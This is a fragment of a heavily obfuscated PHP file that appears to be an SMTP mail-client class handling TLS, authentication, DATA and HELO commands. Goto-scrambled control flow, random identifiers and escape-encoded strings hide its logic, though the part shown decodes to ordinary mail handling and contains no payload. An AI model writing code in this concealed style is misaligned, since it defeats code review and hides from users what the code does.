ini_get("\155\141\x78\x5f\145\x78\x65\x63\165\164\151\157\156\137\164\x69\155\145"); goto sACot; L935c: $TXy7T = self::TlxVl; goto ZK7vw; BlPqv: } public function startTLS() { goto l_t9i; pr9oI: $AvSx6 = STREAM_CRYPTO_METHOD_TLS_CLIENT; goto dhhk0; oYURt: restore_error_handler(); goto IBHaq; nXhzB: lzbqQ: goto pr9oI; IBHaq: return (bool) $NwGH2; goto Ato49; vSb4K: return false; goto nXhzB; N78jy: $AvSx6 |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT; goto k7MI5; l_t9i: if ($this->sendCommand("\x53\124\101\122\x54\124\114\123", "\123\124\x41\122\x54\x54\x4c\123", 220)) { goto lzbqQ; } goto vSb4K; k7MI5: Umvv9: goto n88P2; Nig31: $AvSx6 |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT; goto N78jy; QP90Y: $NwGH2 = stream_socket_enable_crypto($this->smtp_conn, true, $AvSx6); goto oYURt; n88P2: set_error_handler([$this, "\x65\162\x72\x6f\162\x48\141\x6e\144\x6c\145\x72"]); goto QP90Y; dhhk0: if (!defined("\x53\124\x52\105\101\x4d\x5f\x43\x52\131\x50\124\x4f\x5f\115\x45\124\x48\x4f\104\x5f\x54\114\x53\166\x31\137\x32\x5f\103\114\x49\x45\x4e\124")) { goto Umvv9; } goto Nig31; Ato49: } public function authenticate($cj42v, $ItTkM, $g8Zlo = null, $greVn = null) { goto jn0Tz; W2ys4: $this->setError("\116\x6f\40\163\x75\160\160\x6f\162\164\145\144\40\x61\165\164\150\145\x6e\x74\x69\143\x61\164\x69\x6f\156\x20\155\145\x74\150\x6f\x64\163\x20\146\157\x75\156\x64"); goto WwoRj; NjQCL: $this->edebug("\x41\x75\164\150\x20\x6d\145\164\150\157\x64\40\x72\145\x71\x75\x65\x73\164\145\x64\72\x20" . ($g8Zlo ? $g8Zlo : "\125\x4e\x53\120\105\103\111\106\111\105\104"), self::tiXQO); goto yesCs; FoLEn: if (!empty($g8Zlo)) { goto SjeEs; } goto W2ys4; GCNYj: return false; goto l6yfT; qvgJB: if (!(null !== $g8Zlo and !in_array($g8Zlo, $this->server_caps["\x41\125\124\110"]))) { goto MrZW7; } goto rsw9w; ECZFV: if (array_key_exists("\x41\x55\124\x48", $this->server_caps)) { goto YpOfp; } goto pTplu; upY80: GMXs1: goto ufNLV; IugNr: return false; goto IFsbz; kod9L: FzYFU: goto Cc4Xr; WwoRj: return false; goto GUrz6; i0_er: eR0DS: goto dsB8G; l6yfT: YpOfp: goto NjQCL; Cc4Xr: goto ZNLCZ; goto i0_er; BoaHJ: if (in_array($g8Zlo, $this->server_caps["\101\125\x54\110"])) { goto FzYFU; } goto P0NAz; yC4RU: goto ZNLCZ; goto I0znS; YBRBm: if (empty($g8Zlo)) { goto eR0DS; } goto yC4RU; jwJHH: bzMVY: goto BoaHJ; ifK_p: $this->setError("\x41\165\x74\150\145\x6e\164\x69\143\141\164\x69\157\156\x20\x69\163\40\x6e\x6f\x74\40\141\154\154\157\167\x65\144\40\x62\145\146\157\162\x65\x20\110\x45\x4c\x4f\x2f\105\x48\x4c\117"); goto IugNr; yesCs: $this->edebug("\x41\x75\x74\150\40\x6d\145\x74\x68\x6f\144\x73\40\x61\166\141\x69\x6c\141\x62\154\x65\40\157\x6e\40\164\150\x65\x20\163\145\x72\166\145\x72\x3a\40" . implode("\x2c", $this->server_caps["\101\x55\124\110"]), self::tiXQO); goto qvgJB; dsB8G: $g8Zlo = "\114\x4f\x47\x49\116"; goto MAK46; ywhb6: MrZW7: goto sPjcx; MAK46: ZNLCZ: goto GEgPS; rsw9w: $this->edebug("\x52\145\x71\x75\x65\x73\x74\145\x64\40\141\165\x74\150\x20\x6d\x65\164\x68\157\x64\40\x6e\x6f\164\x20\x61\166\141\x69\x6c\x61\142\154\x65\x3a\40" . $g8Zlo, self::tiXQO); goto JlYyk; jn0Tz: if ($this->server_caps) { goto bwnQg; } goto ifK_p; LAv8c: foreach (["\103\122\x41\x4d\55\x4d\x44\65", "\x4c\117\107\111\116", "\x50\114\101\x49\116", "\x58\x4f\101\x55\124\110\62"] as $kerBx) { goto Dtqra; Dtqra: if (!in_array($kerBx, $this->server_caps["\101\125\x54\110"])) { goto VfILx; } goto j6TR7; z7aPw: goto sD6P9; goto YDrTY; rLC1C: nvOz9: goto tMd6N; j6TR7: $g8Zlo = $kerBx; goto z7aPw; YDrTY: VfILx: goto rLC1C; tMd6N: } goto EolH9; P0NAz: $this->setError("\124\x68\145\x20\x72\145\161\165\145\x73\164\x65\144\40\x61\165\x74\x68\145\x6e\x74\151\x63\x61\164\151\157\156\40\x6d\145\x74\150\x6f\x64\x20\42{$g8Zlo}\x22\x20\x69\163\x20\x6e\x6f\164\x20\163\165\160\x70\157\x72\x74\145\x64\x20\x62\x79\x20\164\150\145\40\163\x65\162\x76\x65\x72"); goto PdV0U; mqdLK: if (array_key_exists("\105\x48\114\x4f", $this->server_caps)) { goto Bfggm; } goto YBRBm; sPjcx: if (!empty($g8Zlo)) { goto bzMVY; } goto LAv8c; hHXUJ: Opa_K: goto upY80; GUrz6: SjeEs: goto QCmWo; QCmWo: self::edebug("\x41\165\x74\x68\40\155\x65\x74\150\x6f\144\40\163\145\154\x65\143\x74\145\x64\x3a\x20" . $g8Zlo, self::tiXQO); goto jwJHH; I0znS: Bfggm: goto ECZFV; JlYyk: $g8Zlo = null; goto ywhb6; ufNLV: return true; goto q1yTW; EolH9: sD6P9: goto FoLEn; pTplu: $this->setError("\x41\x75\164\x68\x65\x6e\164\151\x63\141\x74\151\x6f\156\40\x69\163\40\x6e\157\164\x20\x61\154\x6c\x6f\x77\145\144\x20\141\164\40\164\150\151\x73\40\163\x74\x61\x67\x65"); goto GCNYj; PdV0U: return false; goto kod9L; IFsbz: bwnQg: goto mqdLK; GEgPS: switch ($g8Zlo) { case "\x50\114\x41\x49\x4e": goto AHhc4; koZQz: goto GMXs1; goto M0sie; X482K: if ($this->sendCommand("\x55\x73\145\162\x20\x26\x20\x50\141\163\163\167\157\x72\144", base64_encode("\x0" . $cj42v . "\x0" . $ItTkM), 235)) { goto rzTIe; } goto aJwIg; nTogy: tfkqY: goto X482K; AHhc4: if ($this->sendCommand("\101\125\x54\x48", "\x41\x55\x54\110\40\120\x4c\x41\x49\116", 334)) { goto tfkqY; } goto HZdkC; H_Y7e: rzTIe: goto koZQz; aJwIg: return false; goto H_Y7e; HZdkC: return false; goto nTogy; M0sie: case "\114\117\x47\x49\x4e": goto woowL; tMb58: goto GMXs1; goto JY_RA; csqaG: CHCmO: goto tMb58; woowL: if ($this->sendCommand("\x41\x55\124\110", "\101\x55\124\110\x20\114\117\x47\111\x4e", 334)) { goto ypUhG; } goto TpQsm; IqtPS: return false; goto csqaG; TpQsm: return false; goto Gtpap; qX1kO: if ($this->sendCommand("\125\163\x65\x72\156\x61\155\145", base64_encode($cj42v), 334)) { goto OssOx; } goto iSV2_; Gtpap: ypUhG: goto qX1kO; V4qbO: OssOx: goto K6H6d; iSV2_: return false; goto V4qbO; K6H6d: if ($this->sendCommand("\x50\141\163\163\x77\x6f\162\144", base64_encode($ItTkM), 235)) { goto CHCmO; } goto IqtPS; JY_RA: case "\x43\122\x41\x4d\55\115\104\65": goto YuXir; CzRyO: $gDbpQ = base64_decode(substr($this->last_reply, 4)); goto U0GT0; DxXOL: hK9AX: goto CzRyO; U0GT0: $sSHHc = $cj42v . "\x20" . $this->hmac($gDbpQ, $ItTkM); goto PkGkk; BfYpP: return false; goto DxXOL; YuXir: if ($this->sendCommand("\x41\x55\x54\110\x20\103\x52\101\115\x2d\x4d\x44\65", "\x41\125\124\110\x20\103\122\x41\x4d\55\x4d\x44\x35", 334)) { goto hK9AX; } goto BfYpP; PkGkk: return $this->sendCommand("\x55\163\x65\162\156\141\x6d\145", base64_encode($sSHHc), 235); goto VpRX0; VpRX0: case "\x58\x4f\101\x55\x54\x48\x32": goto mNjrK; lWB1L: return false; goto s6MM3; s6MM3: VDTpL: goto j_vCE; mNjrK: if (!(null === $greVn)) { goto WDeKr; } goto hM7VN; j_vCE: goto GMXs1; goto cqNzk; e_S57: $p02lb = $greVn->getOauth64(); goto jFETP; hM7VN: return false; goto iVkrX; iVkrX: WDeKr: goto e_S57; jFETP: if ($this->sendCommand("\x41\125\x54\110", "\x41\125\x54\110\40\x58\117\101\125\124\x48\x32\x20" . $p02lb, 235)) { goto VDTpL; } goto lWB1L; cqNzk: default: $this->setError("\x41\x75\164\150\x65\x6e\164\x69\x63\141\164\x69\157\156\x20\155\145\x74\x68\157\144\40\x22{$g8Zlo}\42\40\x69\163\40\156\157\x74\x20\163\165\160\x70\x6f\162\164\x65\x64"); return false; } goto hHXUJ; q1yTW: } protected function hmac($Rr1ud, $PKEp0) { goto EaTUC; OkR9h: $JYzNY = str_pad('', $EEoXC, chr(0x5c)); goto ZcA4s; ZcA4s: $NGp1M = $PKEp0 ^ $NjH9N; goto bhvgL; bhvgL: $cQ1oh = $PKEp0 ^ $JYzNY; goto Phm3c; DecrS: IF2yT: goto il8ZC; il8ZC: $EEoXC = 64; goto OciYk; irI0b: $PKEp0 = pack("\110\52", md5($PKEp0)); goto od3Zr; Phm3c: return md5($cQ1oh . pack("\x48\52", md5($NGp1M . $Rr1ud))); goto KJcC3; V4EQz: $NjH9N = str_pad('', $EEoXC, chr(0x36)); goto OkR9h; od3Zr: eaYoW: goto OX1ou; OX1ou: $PKEp0 = str_pad($PKEp0, $EEoXC, chr(0x0)); goto V4EQz; EaTUC: if (!function_exists("\150\x61\x73\x68\x5f\x68\x6d\141\143")) { goto IF2yT; } goto E04XQ; OciYk: if (!(strlen($PKEp0) > $EEoXC)) { goto eaYoW; } goto irI0b; E04XQ: return hash_hmac("\x6d\x64\65", $Rr1ud, $PKEp0); goto DecrS; KJcC3: } public function connected() { goto b2kyR; k6QuG: if (!$bMT8n["\145\x6f\146"]) { goto qskyr; } goto Hwc18; vmtAx: return false; goto JnnRv; m0w7w: return false; goto RXP3F; ujKym: oglAG: goto m0w7w; Ix2cI: $bMT8n = stream_get_meta_data($this->smtp_conn); goto k6QuG; Hwc18: $this->edebug("\x53\115\x54\120\40\x4e\x4f\x54\111\103\x45\x3a\40\x45\117\x46\x20\143\141\165\147\x68\x74\40\x77\150\151\x6c\x65\40\143\x68\145\x63\x6b\151\x6e\147\x20\151\x66\x20\143\x6f\x6e\x6e\x65\143\x74\x65\x64", self::kRSn3); goto cuW16; cuW16: $this->close(); goto vmtAx; JnnRv: qskyr: goto CP3py; b2kyR: if (!is_resource($this->smtp_conn)) { goto oglAG; } goto Ix2cI; CP3py: return true; goto ujKym; RXP3F: } public function close() { goto NksAY; EKhq8: $this->smtp_conn = null; goto D1r2c; c9Ia_: $this->helo_rply = null; goto uwRdk; uwRdk: if (!is_resource($this->smtp_conn)) { goto IXOIo; } goto qHGKG; NksAY: $this->setError(''); goto OLGqM; OLGqM: $this->server_caps = null; goto c9Ia_; D1r2c: $this->edebug("\x43\x6f\x6e\x6e\x65\x63\x74\x69\157\x6e\72\40\143\154\157\x73\x65\144", self::o5nas); goto ZP2Mc; ZP2Mc: IXOIo: goto GRNl0; qHGKG: fclose($this->smtp_conn); goto EKhq8; GRNl0: } public function data($Wibcx) { goto tXEdc; Kz6rE: if (!(!empty($d0VKb) and strpos($d0VKb, "\40") === false)) { goto Zy3T2; } goto ipjXt; MZsvQ: $this->Timelimit = $this->Timelimit * 2; goto PT_Tm; y9_8H: $this->recordLastTransactionID(); goto HS1z_; lCh1g: $FZAZx = explode("\xa", str_replace(["\15\12", "\xd"], "\12", $Wibcx)); goto b8IS5; HS1z_: $this->Timelimit = $B7owM; goto RtgUN; tXEdc: if ($this->sendCommand("\x44\x41\124\101", "\x44\x41\x54\101", 354)) { goto sCxbF; } goto ijd57; IjuIJ: foreach ($FZAZx as $agbTK) { goto nb_DC; hP6GV: p99We: goto Jksnf; OJS08: goto B8qi9; goto hP6GV; xV96O: if (!$HH8gw) { goto xhr6O; } goto p6KcZ; ChzWu: $agbTK = substr($agbTK, $xVSEl); goto EWHoj; yOYUS: $agbTK = substr($agbTK, $xVSEl + 1); goto rEaXT; zXLn8: $HH8gw = false; goto YCE2k; YCE2k: Y4174: goto icjIO; hNWCp: w84H7: goto d0XRf; T2MAf: foreach ($RuIDw as $YYRrB) { goto w4Oco; cVTDO: $this->client_send($YYRrB . static::aut8U, "\104\101\124\101"); goto KhluP; KAvEK: $YYRrB = "\x2e" . $YYRrB; goto irvQP; KhluP: tLEXe: goto RQSVz; irvQP: tpByH: goto cVTDO; w4Oco: if (!(!empty($YYRrB) and $YYRrB[0] == "\56")) { goto tpByH; } goto KAvEK; RQSVz: } goto n0EX7; Jksnf: $RuIDw[] = $agbTK; goto T2MAf; d0XRf: $xVSEl = self::B4qnq - 1; goto jgUmz; nb_DC: $RuIDw = []; goto wAVwt; lY4pj: beOXz: goto kdC9j; rEaXT: goto IayYA; goto hNWCp; Z1YMz: $xVSEl = strrpos(substr($agbTK, 0, self::B4qnq), "\40"); goto t5OXm; wAVwt: if (!($HH8gw and $agbTK == '')) { goto Y4174; } goto zXLn8; icjIO: B8qi9: goto qtn5S; jgUmz: $RuIDw[] = substr($agbTK, 0, $xVSEl); goto ChzWu; dAZsJ: $RuIDw[] = substr($agbTK, 0, $xVSEl); goto yOYUS; EWHoj: IayYA: goto xV96O; qtn5S: if (!isset($agbTK[self::B4qnq])) { goto p99We; } goto Z1YMz; n0EX7: Q80bx: goto lY4pj; t5OXm: if (!$xVSEl) { goto w84H7; } goto dAZsJ; p6KcZ: $agbTK = "\11" . $agbTK; goto hd_a9; hd_a9: xhr6O: goto OJS08; kdC9j: } goto ZpT6A; ZpT6A: imHcL: goto W7wK8; ijd57: return false; goto XXjKU; XXjKU: sCxbF: goto lCh1g; W7wK8: $B7owM = $this->Timelimit; goto MZsvQ; b8IS5: $d0VKb = substr($FZAZx[0], 0, strpos($FZAZx[0], "\72")); goto jri3W; jri3W: $HH8gw = false; goto Kz6rE; ipjXt: $HH8gw = true; goto f0Mth; RtgUN: return $oKqtC; goto C4WrP; PT_Tm: $oKqtC = $this->sendCommand("\104\101\124\x41\x20\105\x4e\104", "\56", 250); goto y9_8H; f0Mth: Zy3T2: goto IjuIJ; C4WrP: } public function hello($SbhNW = '') { return $this->sendHello("\x45\110\x4c\x4f", $SbhNW) or $this->sendHello("\x48\105\114\x4f", $SbhNW); } protected function sendHello($NMgXg, $SbhNW) { goto wRL0W; PCZlx: JGIWi: goto CQsU0; w6raQ: td0zs: goto oC1JX; JescE: $this->server_caps = null; goto N3Mc4; wKgQh: $this->helo_rply = $this->last_reply; goto yqACH; CQsU0: return $PRFyY; goto IVQzX; oC1JX: $this->parseHelloFields($NMgXg); goto PCZlx; N3Mc4: goto JGIWi; goto w6raQ; wRL0W: $PRFyY = $this->sendCommand($NMgXg, $NMgXg . "\40" . $SbhNW, 250); goto wKgQh; yqACH: if ($PRFyY) { goto td0zs; } goto JescE; IVQzX: } protected function parseHelloFields($oerFh) { goto TdAcX; TdAcX: $this->server_caps = []; goto QyX95; XCnMq: foreach ($FZAZx as $FdEr8 => $jNiB4) { goto jo5S5; UTQbo: $this->server_caps[$UxOLN] = $KTTQq; goto ip6Yx; tGgWg: goto ndKXp; goto yaDfA; enJLz: XWcdg: goto HIIjj; miwJd: if (!empty($jNiB4)) { goto A8rgZ; } goto FY7I7; raB_W: bNOqu: goto S6jAE; zQe8Q: $UxOLN = array_shift($KTTQq); goto Ae3Po; yaDfA: EJkF6: goto ygo1q; S6jAE: hMJXg: goto tGgWg; FY7I7: goto XWcdg; goto bkNMJ; Ae3Po: switch ($UxOLN) { case "\123\111\132\105": $KTTQq = $KTTQq ? $KTTQq[0] : 0; goto hMJXg; case "\x41\125\x54\x48": goto VoIuh; EEHZw: $KTTQq = []; goto ynhvK; iL427: goto hMJXg; goto ha8En; VoIuh: if (is_array($KTTQq)) { goto F4ssQ; } goto EEHZw; ynhvK: F4ssQ: goto iL427; ha8En: default: $KTTQq = true; } goto raB_W; w2ADp: if (!$FdEr8) { goto EJkF6; } goto zQe8Q; q5Qgw: $KTTQq = $KTTQq[0]; goto nYjKT; ip6Yx: t7prE: goto enJLz; iojmG: $KTTQq = explode("\x20", $jNiB4); goto VuczV; VuczV: if (empty($KTTQq)) { goto t7prE; } goto w2ADp; ygo1q: $UxOLN = $oerFh; goto q5Qgw; nYjKT: ndKXp: goto UTQbo; bkNMJ: A8rgZ: goto iojmG; jo5S5: $jNiB4 = trim(substr($jNiB4, 4)); goto miwJd; HIIjj: } goto ENYfl; QyX95: $FZAZx = explode("\12", $this->helo_rply); goto XCnMq; ENYfl: M2Esy: goto gHglf; gHglf: } public function mail($iryK3) { $C1nlA = $this->do_verp ? "\x20\130\x56\105\122\x50" : ''; return $this->sendCommand("\115\x41\x49\114\x20\106\x52\117\115", "\115\101\x49\x4c\40\x46\122\117\115\72\74" . $iryK3 . "\76" . $C1nlA, 250); } public function quit($iKmjL = true) { goto Yz7t8; zpJpn: $this->close(); goto JRqD2; JRqD2: $this->error = $JlibN; goto m0Uew; MhGqF: $JlibN = $this->error; goto ziGaI; Yz7t8: $PRFyY = $this->sendCommand("\x51\125\x49\124", "\121\x55\x49\x54", 221); goto MhGqF; m0Uew: e0hMD: goto WmoAc; ziGaI: if (!($PRFyY or $iKmjL)) { goto e0hMD; } goto zpJpn; WmoAc: return $PRFyY; goto UnLMs; UnLMs: } public function recipient($Jm2Lh, $ThcI6 = '') { goto IINRn; kvBOV: return $this->sendCommand("\x52\103\x50\124\x20\x54\117", $trrGz, [250, 251]); goto v1H_R; o6RrX: goto awd03; goto NGDZp; H7MCn: $trrGz = "\x52\103\120\124\x20\124\x4f\x3a\74" . $Jm2Lh . "\76"; goto XBLmM; nbAja: foreach (["\x53\125\103\103\x45\x53\123", "\x46\101\111\114\125\x52\x45", "\x44\x45\x4c\101\x59"] as $TZqE1) { goto DvX73; DvX73: if (!(strpos($ThcI6, $TZqE1) !== false)) { goto vxggB; } goto EbHLT; EbHLT: $O93_w[] = $TZqE1; goto veOs4; av_3c: bcNBK: goto rI2ws; veOs4: vxggB: goto av_3c; rI2ws: } goto VkQAB; cIsXV: goto F6Q4l; goto vUSkA; SIDvg: $ThcI6 = strtoupper($ThcI6); goto pOPjn; IINRn: if (empty($ThcI6)) { goto sdpzN; } goto SIDvg; pOPjn: $O93_w = []; goto vEBmp; VkQAB: L1v1u: goto o6RrX; XBLmM: F6Q4l: goto kvBOV; vUSkA: sdpzN: goto H7MCn; fAJ0O: $trrGz = "\122\103\x50\124\40\124\117\x3a\x3c" . $Jm2Lh . "\x3e\x20\116\x4f\x54\x49\x46\x59\75" . implode("\54", $O93_w); goto cIsXV; vEBmp: if (strpos($ThcI6, "\x4e\105\126\105\122") !== false) { goto wlluC; } goto nbAja; bMxvi: awd03: goto fAJ0O; NGDZp: wlluC: goto VSMcW; VSMcW: $O93_w[] = "\x4e\105\126\x45\122"; goto bMxvi; v1H_R: } public function reset() { return $this->sendCommand("\122\x53\x45\124", "\x52\123\x45\x54", 250); } protected function sendCommand($FQ3bW, $KnKJ_, $UV7Nt) { goto inXS7; anm6v: XjpE9: goto seB8A; SHxbw: $ry2pF = substr($this->last_reply, 4); goto q0pvN; QWk13: return true; goto i9cuK; OGuqa: return false; goto lxCfY; rUDfh: if (in_array($stiiU, (array) $UV7Nt)) { goto qmV7t; } goto a4EX_; wowc_: return false; goto TVOrF; a4EX_: $this->setError("{$FQ3bW}\x20\x63\x6f\x6d\x6d\x61\156\144\x20\146\141\x69\154\x65\x64", $ry2pF, $stiiU, $TUzCN); goto vw879; nTL53: $TUzCN = null; goto SHxbw; OTjOU: $LlSup = []; goto LteD2; TVOrF: krRYP: goto kLm6F; byUq4: $stiiU = substr($this->last_reply, 0, 3); goto nTL53; okzIY: eruV6: goto ELQFt; ELQFt: if (!(strpos($KnKJ_, "\12") !== false or strpos($KnKJ_, "\15") !== false)) { goto krRYP; } goto YogG0; inXS7: if ($this->connected()) { goto eruV6; } goto TvWVd; YogG0: $this->setError("\103\157\x6d\x6d\141\x6e\144\x20\x27{$FQ3bW}\x27\x20\x63\x6f\x6e\164\x61\x69\x6e\145\144\40\x6c\x69\x6e\145\40\142\x72\145\141\153\163"); goto wowc_; seB8A: $stiiU = $LlSup[1]; goto npWTB; op4le: $ry2pF = preg_replace("\x2f{$stiiU}\133\x20\x2d\135" . ($TUzCN ? str_replace("\x2e", "\134\x2e", $TUzCN) . "\x20" : '') . "\x2f\x6d", '', $this->last_reply); goto spX5X; lxCfY: qmV7t: goto Z2yUR; q0pvN: goto pncQ3; goto anm6v; TvWVd: $this->setError("\x43\x61\x6c\x6c\x65\144\x20{$FQ3bW}\40\x77\x69\164\x68\157\x75\164\40\x62\145\x69\x6e\x67\x20\143\x6f\156\x6e\145\x63\x74\x65\144"); goto GOrYW; kLm6F: $this->client_send($KnKJ_ . static::aut8U, $FQ3bW); goto M4HfU; spX5X: pncQ3: goto QZmAX; Z2yUR: $this->setError(''); goto QWk13; QZmAX: $this->edebug("\x53\105\x52\x56\x45\122\40\55\x3e\40\x43\114\x49\x45\x4e\x54\72\x20" . $this->last_reply, self::eZ3Pv); goto rUDfh; vw879: $this->edebug("\123\x4d\x54\120\x20\x45\x52\x52\x4f\x52\72\x20" . $this->error["\x65\x72\162\157\162"] . "\72\40" . $this->last_reply, self::kRSn3); goto OGuqa; GOrYW: return false; goto okzIY; npWTB: $TUzCN = count($LlSup) > 2 ? $LlSup[2] : null; goto op4le; M4HfU: $this->last_reply = $this->get_lines(); goto OTjOU; LteD2: if (preg_match("\57\x5e\x28\133\x30\x2d\71\x5d\x7b\63\175\x29\x5b\x20\x2d\x5d\x28\x3f\x3a\50\133\60\x2d\71\x5d\134\56\133\x30\x2d\x39\135\134\x2e\133\60\55\71\135\173\x31\54\62\175\51\x20\x29\x3f\57", $this->last_reply, $LlSup)) { goto XjpE9; } goto byUq4; i9cuK: } public function sendAndMail($iryK3) { return $this->sendCommand("\123\101\x4d\114", "\123\x41\115\x4c\40\x46\122\x4f\x4d\72{$iryK3}", 250); } public function verify($UxOLN) { return $this->sendCommand("\126\122\106\x59", "\x56\x52\x46\x59\40{$UxOLN}", [250, 251]); } public function noop() { return $this->sendCommand("\x4e\117\x4f\120", "\x4e\x4f\x4f\120", 250); } public function turn() { goto RdXU2; RdXU2: $this->setError("\124\150\145\40\x53\x4d\124\x50\x20\124\x55\122\x4e\x20\143\157\155\x6d\x61\x6e\144\x20\x69\163\40\x6e\x6f\164\x20\x69\155\160\154\x65\x6d\x65\x6e\164\145\144"); goto WUPwY; WUPwY: $this->edebug("\123\x4d\x54\x50\x20\x4e\x4f\124\x49\103\105\x3a\x20" . $this->error["\x65\162\x72\157\162"], self::kRSn3); goto CFedC; CFedC: return false; goto MgzjL; MgzjL: } public function client_send($Rr1ud, $FQ3bW = '') { goto wqRbn; dD63G: goto vv2Sk; goto ZVofB; Jg0ur: return $oKqtC; goto wjBrj; cq67X: set_error_handler([$this, "\x65\x72\x72\x6f\162\110\x61\x6e\144\154\145\162"]); goto JDc3T; wqRbn: if (self::tiXQO > $this->do_debug and in_array($FQ3bW, ["\125\163\x65\x72\x20\x26\40\120\x61\x73\x73\167\x6f\x72\144", "\125\x73\145\x72\x6e\141\x6d\x65", "\120\x61\x73\163\x77\157\x72\x64"], true)) { goto y1VJe; } goto c8jGZ; RpjUg: restore_error_handler(); goto Jg0ur; c8jGZ: $this->edebug("\x43\x4c\111\x45\116\124\x20\55\x3e\40\123\x45\122\x56\x45\x52\x3a\40" . $Rr1ud, self::kRSn3); goto dD63G; ZVofB: y1VJe: goto XNpyd; N_Uh8: vv2Sk: goto cq67X; JDc3T: $oKqtC = fwrite($this->smtp_conn, $Rr1ud); goto RpjUg; XNpyd: $this->edebug("\103\x4c\111\105\116\x54\x20\55\x3e\x20\x53\105\122\x56\105\122\72\x20\74\x63\x72\145\144\145\x6e\164\151\141\x6c\163\x20\x68\x69\x64\x64\145\x6e\76", self::kRSn3); goto N_Uh8; wjBrj: } public function getError() { return $this->error; } public function getServerExtList() { return $this->server_caps; } public function getServerExt($UxOLN) { goto uE8Xk; Fw2yi: if (array_key_exists($UxOLN, $this->server_caps)) { goto wADm6; } goto uGxI2; uGxI2: if (!("\110\x45\114\117" == $UxOLN)) { goto U8Kgl; } goto jfYNK; eUmM2: return; goto zNMZX; DoY8S: U8Kgl: goto SgSZZ; xh_PA: return; goto UK2sg; zNMZX: nMLdC: goto Fw2yi; SgSZZ: if (!("\x45\x48\x4c\x4f" == $UxOLN || array_key_exists("\105\x48\x4c\x4f", $this->server_caps))) { goto EeCtj; } goto jGb3W; jGb3W: return false; goto lHqq1; uE8Xk: if ($this->server_caps) { goto nMLdC; } goto fewFk; lHqq1: EeCtj: goto gfNwv; jfYNK: return $this->server_caps["\105\x48\x4c\x4f"]; goto DoY8S; O6uw5: return $this->server_caps[$UxOLN]; goto mtY6l; gfNwv: $this->setError("\x48\x45\x4c\x4f\40\150\x61\156\144\x73\x68\x61\x6b\145\x20\x77\x61\163\40\x75\x73\145\144\73\40\116\x6f\x20\151\156\146\x6f\162\x6d\141\164\151\x6f\x6e\40\141\142\x6f\x75\x74\40\163\x65\x72\166\x65\x72\x20\145\x78\164\145\x6e\x73\151\x6f\156\x73\x20\141\166\x61\x69\x6c\141\142\x6c\x65"); goto xh_PA; UK2sg: wADm6: goto O6uw5; fewFk: $this->setError("\116\x6f\x20\110\x45\x4c\117\57\x45\x48\x4c\x4f\40\x77\141\163\40\163\x65\x6e\x74"); goto eUmM2; mtY6l: } public function getLastReply() { return $this->last_reply; } protected function get_lines() { goto r0lqE; VTsTP: NnbGq: goto FKXbo; vwr00: goto NnbGq; goto OkuL6; n6oBG: if (!(!isset($F2YZh[3]) or isset($F2YZh[3]) and $F2YZh[3] == "\40")) { goto lCmW3; } goto vwr00; uFC1X: $this->edebug("\123\115\x54\120\x20\55\x3e\40\x67\145\x74\137\x6c\x69\x6e\145\x73\50\x29\x3a\x20\x74\151\x6d\145\154\151\x6d\x69\x74\x20\162\145\141\x63\x68\145\144\x20\50" . $this->Timelimit . "\x20\163\145\143\51", self::tiXQO); goto t_jrD; LT3WU: $this->edebug("\x53\x4d\x54\x50\40\55\76\40\x67\x65\x74\137\154\151\156\x65\x73\x28\x29\x3a\40\164\151\x6d\145\144\x2d\x6f\x75\164\40\x28" . $this->Timeout . "\40\163\145\x63\x29", self::tiXQO); goto Wi0GW; uTxNX: if (!(is_resource($this->smtp_conn) and !feof($this->smtp_conn))) { goto NnbGq; } goto EMx7H; eHlXc: $BpdVo = stream_get_meta_data($this->smtp_conn); goto f3NwG; t_jrD: goto NnbGq; goto PsIIv; FKXbo: return $Rr1ud; goto aYejH; gYUzF: goto NnbGq; goto Kilzs; xd7Zn: Agvjz: goto iiVcG; dGJP0: gqx38: goto Jkcse; syDXR: $KGz1F = 0; goto bcfDv; OkuL6: lCmW3: goto eHlXc; Jkcse: if (!($KGz1F and time() > $KGz1F)) { goto J34dn; } goto uFC1X; iiVcG: $Rr1ud = ''; goto syDXR; bcfDv: stream_set_timeout($this->smtp_conn, $this->Timeout); goto hpyGg; SOPZB: $UlbiQ = null; goto uM2rj; PsIIv: J34dn: goto PVb1L; r0lqE: if (is_resource($this->smtp_conn)) { goto Agvjz; } goto TY3TX; uM2rj: nJuyF: goto uTxNX; DayJK: $Rr1ud .= $F2YZh; goto n6oBG; Kilzs: TqE_w: goto HVKdi; EiPLZ: hqWoM: goto NH1Ho; TY3TX: return ''; goto xd7Zn; hpyGg: if (!($this->Timelimit > 0)) { goto hqWoM; } goto eYjnJ; pH05L: $this->edebug("\123\115\124\x50\x20\x49\116\102\x4f\x55\x4e\x44\x3a\40\42" . trim($F2YZh) . "\42", self::tiXQO); goto DayJK; NH1Ho: $i_O4U = [$this->smtp_conn]; goto SOPZB; eYjnJ: $KGz1F = time() + $this->Timelimit; goto EiPLZ; iUvPd: $this->edebug("\x53\x4d\124\120\40\x2d\x3e\x20\147\x65\164\137\x6c\151\156\145\163\x28\x29\x3a\x20\x74\151\x6d\145\x64\x2d\x6f\x75\x74\x20\x28" . $this->Timeout . "\40\163\145\143\51", self::tiXQO); goto gYUzF; PVb1L: goto nJuyF; goto VTsTP; Wi0GW: goto NnbGq; goto dGJP0; HVKdi: $F2YZh = @fgets($this->smtp_conn, 515); goto pH05L; EMx7H: if (stream_select($i_O4U, $UlbiQ, $UlbiQ, $this->Timelimit)) { goto TqE_w; } goto iUvPd; f3NwG: if (!$BpdVo["\164\x69\x6d\x65\x64\137\157\165\164"]) { goto gqx38; } goto LT3WU; aYejH: } public function setVerp($v2PLa = false) { $this->do_verp = $v2PLa; } public function getVerp() { return $this->do_verp; } protected function setError($upS1q, $ry2pF = '', $ksELJ = '', $QR86M = '') { $this->error = ["\x65\162\162\x6f\x72" => $upS1q, "\x64\x65\x74\141\x69\154" => $ry2pF, "\x73\x6d\164\x70\137\143\157\144\x65" => $ksELJ, "\163\x6d\164\160\x5f\143\157\x64\x65\137\x65\170" => $QR86M]; } public function setDebugOutput($kerBx = "\x65\x63\x68\157") { $this->Debugoutput = $kerBx; } public function getDebugOutput() { return $this->Debugoutput; } public function setDebugLevel($qpGNY = 0) { $this->do_debug = $qpGNY; } public function getDebugLevel() { return $this->do_debug; } public function setTimeout($twKNw = 0) { $this->Timeout = $twKNw; } public function getTimeout() { return $this->Timeout; } protected function errorHandler($xkLVV, $dDy7u, $tZvy9 = '', $kQb8f = 0) { goto KSAe7; XjR63: 